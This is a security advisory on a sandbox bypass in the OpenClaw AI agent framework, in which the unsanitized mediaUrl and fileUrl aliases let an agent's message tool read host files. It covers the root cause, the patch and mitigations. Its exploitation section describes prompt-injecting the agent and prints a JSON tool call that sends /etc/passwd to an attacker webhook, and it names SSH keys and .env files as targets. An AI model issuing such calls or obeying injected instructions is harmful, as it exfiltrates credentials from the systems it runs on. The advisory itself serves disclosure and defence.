GHSA-HR5V-J9H9-XJHG: Sandbox Bypass and Arbitrary File Exfiltration in OpenClaw

OpenClaw utilizes a directory-based sandbox to restrict the filesystem access capabilities of its AI agents and associated tools. This isolation mechanism relies on normalizing input paths and verifying that the resolved absolute paths reside strictly within a designated media root directory. The security model assumes that all tools executing file operations respect these strict boundary enforcement checks.

Vulnerability GHSA-HR5V-J9H9-XJHG breaks this isolation boundary via an incomplete normalization implementation. The core issue is classified as CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). The vulnerability specifically manifests within the outbound message handling routines used by tools such as the built-in message-tool.

While OpenClaw correctly intercepts and sanitizes standard file reference parameters like path and filePath, it fails to apply the same sanitization to alternative aliases. Specifically, the keys mediaUrl and fileUrl bypass the sandbox enforcement completely. This oversight permits malicious agents to access files strictly outside the restricted directory context.

The root cause of this vulnerability is an enumeration failure in the input validation layer governing outbound media dispatch. OpenClaw routes file access requests through a central normalization function named resolveSandboxedMediaSource(...). This function evaluates the provided path, resolves relative directory traversals, and ensures the target file is a child of the predefined sandbox media root.

The application uses a hardcoded list of expected parameter keys to determine which inputs require routing through resolveSandboxedMediaSource(...). In versions prior to 2026.3.24, this list was fundamentally incomplete. It included primary keys like media, path, and filePath but omitted the aliases mediaUrl and fileUrl.

When the message-tool processes an outbound request, it iterates over the provided arguments to construct the final payload. Because mediaUrl and fileUrl were absent from the normalization enforcement list, the application processes their values as trusted absolute paths. The execution flow passes these unvalidated paths directly to the underlying filesystem read operations.

A secondary root cause exists within the plugin architecture dispatcher, specifically in src/infra/outbound/message-action-runner.ts. Plugin-owned actions dispatch without the required mediaLocalRoots context. This missing context prevented the sandbox enforcement logic from functioning even if the parameter keys were correctly identified, resulting in a dual-layered bypass mechanism.

The vulnerability resides within the src/infra/outbound/message-action-params.ts module. The original code logic attempts to dynamically parse tool arguments and sanitize known file path references before handing them to the dispatch engine. It iterates over a strict list of known path references, leaving unlisted aliases untouched.

// Conceptual representation of the vulnerable logic
const sanitizedParams = { ...rawParams };
const knownFileKeys = ['media', 'path', 'filePath'];
 
for (const key of knownFileKeys) {
  if (sanitizedParams[key]) {
    // Enforce sandbox restrictions
    sanitizedParams[key] = resolveSandboxedMediaSource(sanitizedParams[key], context.mediaRoot);
  }
}
// Execution continues with sanitizedParams. mediaUrl remains untouched.

Pull Request #54034 addresses this by explicitly expanding the knownFileKeys array to include all supported media parameter aliases. The patch guarantees that any parameter capable of initiating a file read operation is forced through the normalization function.

// Conceptual representation of the patched logic
const sanitizedParams = { ...rawParams };
const knownFileKeys = ['media', 'path', 'filePath', 'mediaUrl', 'fileUrl'];
 
for (const key of knownFileKeys) {
  if (sanitizedParams[key]) {
    // All aliases now enforce sandbox restrictions
    sanitizedParams[key] = resolveSandboxedMediaSource(sanitizedParams[key], context.mediaRoot);
  }
}

In addition to expanding the alias list, the developers modified src/infra/outbound/message-action-runner.ts to ensure mediaLocalRoots is consistently injected into the execution context for all plugin actions. This systemic fix ensures that the resolveSandboxedMediaSource function always has a baseline directory to compare against, closing the contextual bypass variant.

Exploitation requires the attacker to exert control over the parameters supplied to an OpenClaw agent tool. This control typically originates from direct interaction with the agent via a chat interface or by poisoning the agent's input stream with malicious prompts. The attacker instructs the agent to utilize a specific outbound tool, predominantly the message-tool, to construct a crafted request.

The attacker must specify an absolute path to the target file using the vulnerable mediaUrl or fileUrl parameters instead of the standard path parameter. A successful payload requires the agent to route the output to a destination controlled by the attacker, such as an external Slack workspace, Telegram bot, or webhook endpoint.

{
  "tool": "message-tool",
  "parameters": {
    "to": "https://attacker-controlled.example.com/webhook",
    "mediaUrl": "/etc/passwd",
    "caption": "Exfiltrated System File"
  }
}

Upon processing this tool call, OpenClaw bypasses the sandbox normalization check because the mediaUrl key is not monitored. The application reads the contents of /etc/passwd from the host OS filesystem. The file contents are then attached to the outbound message and transmitted to the attacker's endpoint, completing the exfiltration chain.

The direct impact of this vulnerability is arbitrary file read across the underlying host filesystem. The scope of the read operation is constrained solely by the operating system-level permissions granted to the OpenClaw service process. If OpenClaw executes as a highly privileged user or root, the attacker gains read access to the entire host filesystem.

This file read capability directly facilitates severe credential disclosure. Attackers target SSH private keys (~/.ssh/id_rsa), environment variable files containing API keys (.env), and database connection strings. Compromise of these secrets typically leads to broader lateral movement within the infrastructure hosting the AI agent.

The risk is amplified by the automated nature of AI agents. An attacker does not need direct network access to the OpenClaw backend API. They only require the ability to interact with the agent via its exposed interface. The agent acts as a confused deputy, extracting and returning the requested host files on behalf of the attacker.

The definitive remediation for GHSA-HR5V-J9H9-XJHG is upgrading the OpenClaw package to version 2026.3.24 or later. This release contains the finalized parameter normalization lists and contextual dispatcher fixes. Administrators must verify the version upgrade across all environments hosting the OpenClaw execution engine.

Organizations unable to apply the patch immediately should implement temporary mitigations. The primary workaround involves disabling the message-tool and any other external communication tools within the agent's configuration profile. This action severs the exfiltration vector, preventing the agent from transmitting local files to external endpoints.

Implementing defense-in-depth measures at the operating system level further reduces the impact of path traversal flaws. OpenClaw deployments should operate under the principle of least privilege, utilizing a dedicated service account with access restricted strictly to necessary application directories. Containerized deployments should enforce read-only root filesystems and drop all unnecessary Linux capabilities to restrict the blast radius of a successful sandbox escape.